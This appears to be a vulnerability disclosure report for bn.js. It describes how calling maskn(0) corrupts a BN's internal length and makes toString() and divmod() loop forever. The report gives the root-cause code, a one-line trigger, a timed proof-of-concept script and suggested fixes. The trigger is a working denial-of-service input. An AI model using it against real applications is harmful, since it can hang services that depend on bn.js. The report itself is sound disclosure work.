A Denial of Service (DoS) vulnerability exists in bn.js (all versions through 5.2.2). Calling maskn(0) on any BN instance corrupts the internal state, causing toString(), divmod(), and other methods to enter an infinite loop, hanging the process indefinitely.
- Package: bn.js
- Ecosystem: npm
- Repository: https://github.com/indutny/bn.js
- Affected versions: All versions up to and including 5.2.2 (latest)
- CWE: CWE-835 (Loop with Unreachable Exit Condition)
- Severity: Medium
While performing fuzz testing on cryptographic JavaScript libraries, I discovered that calling maskn(0) produces an internally inconsistent BN object. Specifically:
imaskn(bits)computess = (bits - r) / 26wherer = bits % 26. Whenbits = 0, bothsandrare0.- The method then sets
this.length = Math.min(s, this.length), which results inthis.length = 0. - bn.js has an internal invariant that
this.length >= 1(even for the value zero, the representation should bewords = [0], length = 1). - The
_strip()call at the end ofimasknonly handles the case wherelength > 1, and does not correctlength = 0.
This broken internal state causes any method that loops until the number "becomes zero" (e.g., toString(), divmod()) to loop forever, because the termination condition isZero() checks this.length === 1 && this.words[0] === 0, which is never satisfied when length = 0.
The vulnerable code is in BN.prototype.imaskn (lib/bn.js):
BN.prototype.imaskn = function imaskn (bits) {
assert(typeof bits === 'number' && bits >= 0);
var r = bits % 26;
var s = (bits - r) / 26;
// ...
if (this.length <= s) {
return this;
}
if (r !== 0) {
s++;
}
this.length = Math.min(s, this.length);
// When bits=0: s=0, so this.length = min(0, original_length) = 0
if (r !== 0) {
var mask = 0x3ffffff ^ ((0x3ffffff >>> r) << r);
this.words[this.length - 1] &= mask;
}
return this._strip();
// _strip() does NOT fix length=0, it only strips leading zeros when length>1
};The issue: when bits = 0, s = 0 and r = 0, so the early return (this.length <= s) is skipped for any non-zero number (since this.length >= 1 > 0 is false only if length is already 0). Then this.length is set to Math.min(0, this.length) = 0. The _strip() method does not handle this edge case.
const BN = require('bn.js'); // any version up to 5.2.2
const x = new BN('1', 10).maskn(0);
// Internal state is now corrupted:
console.log('x.words.length =', x.words.length); // 1
console.log('x.length =', x.length); // 0 (INVALID - should be >= 1)
console.log('x.isZero() =', x.isZero()); // false (WRONG - should be true)
// This will hang forever:
// console.log(x.toString());'use strict';
const { spawnSync } = require('child_process');
const BN = require('bn.js');
const x = new BN('1', 10).maskn(0);
console.log('[state] x.words.length =', x.words.length);
console.log('[state] x.length =', x.length);
console.log('[state] x.isZero() =', x.isZero());
console.log('[state] expected: maskn(0) should represent 0');
console.log('');
const childCode = `
const BN = require('bn.js');
const x = new BN('1', 10).maskn(0);
// This call should return "0", but hangs for the vulnerable behavior.
console.log(String(x));
`;
const r = spawnSync(process.execPath, ['-e', childCode], {
encoding: 'utf8',
timeout: 1500,
});
if (r.error && r.error.code === 'ETIMEDOUT') {
console.log('[PoC] toString() timed out -> DoS reproduced');
process.exit(0);
}
if (r.status === 0) {
console.log('[PoC] no timeout, child output:', JSON.stringify(r.stdout.trim()));
process.exit(1);
}
console.log('[PoC] child exited with status', r.status);
if (r.stderr) {
console.log('[PoC] stderr:', r.stderr.trim());
}
process.exit(1);[state] x.words.length = 1
[state] x.length = 0
[state] x.isZero() = false
[state] expected: maskn(0) should represent 0
[PoC] toString() timed out -> DoS reproduced
- OS: Ubuntu (VMware Virtual Platform)
- Node.js: v18+ (also reproducible on other versions)
- bn.js: 5.2.2 (latest), also affects all prior versions
- bn.js has 5,670+ npm dependents, including critical cryptographic libraries such as
elliptic,browserify-sign,create-ecdh, and others widely used in blockchain/Web3 and TLS/SSL applications. - Any application where an attacker can influence the
bitsparameter passed tomaskn()(e.g., via user-supplied key lengths, bit widths, or cryptographic parameters) is vulnerable to a complete process hang. - The infinite loop consumes 100% CPU on the affected thread with no way to recover.
Add a guard for length = 0 at the end of imaskn:
// Option 1: Special-case bits=0
if (bits === 0) {
this.words[0] = 0;
this.length = 1;
this.negative = 0;
return this;
}
// Option 2: Add to _strip() or end of imaskn
if (this.length === 0) {
this.words[0] = 0;
this.length = 1;
}- A similar root cause (
length = 0leading to infinite loop intoString()) was reported in 2018 as Issue #186 (new BN(null).toString()) and remains unfixed as of February 2026. - The repository shows minimal maintainer activity in recent years.
- 2026-02-08: Vulnerability discovered and PoC created
- 2026-02-08: Submitted to Snyk vulnerability disclosure program
Kr0emer